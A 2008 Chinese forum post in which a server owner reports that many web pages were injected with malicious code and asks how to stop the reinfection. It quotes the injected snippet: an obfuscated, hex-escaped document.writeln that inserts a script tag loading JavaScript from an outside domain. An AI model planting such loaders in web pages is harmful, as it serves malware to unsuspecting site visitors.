服务器中招请高手指教

我服务器中好多网页被加入:
<script>document.writeln("\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x68\x74\x74\x70\x3A\x2F\x2F\x4F\x25\x36\x36\x25\x36\x36\x25\x34\x39\x25\x36\x33\x65\x25\x32\x45\x25\x34\x36\x25\x34\x31\x51\x25\x35\x33\x25\x36\x35\x25\x37\x32\x76\x2E\x25\x34\x33\x25\x36\x46\x25\x34\x44\x2F\x25\x34\x36\x25\x34\x31\x25\x35\x31\x25\x32\x45\x25\x36\x41\x25\x37\x33\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E");</script>
这段代码,不在站点内的备份文件也有.我关了好多端口,服务器重做了系统,没几天依然如此.谁知道如何治本呀?

[用户系统信息]Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

附件附件:

下载次数:95
文件类型:application/octet-stream
文件大小:
上传时间:2008-3-14 17:49:17
描述:

最后编辑2008-03-14 17:49:17.733000000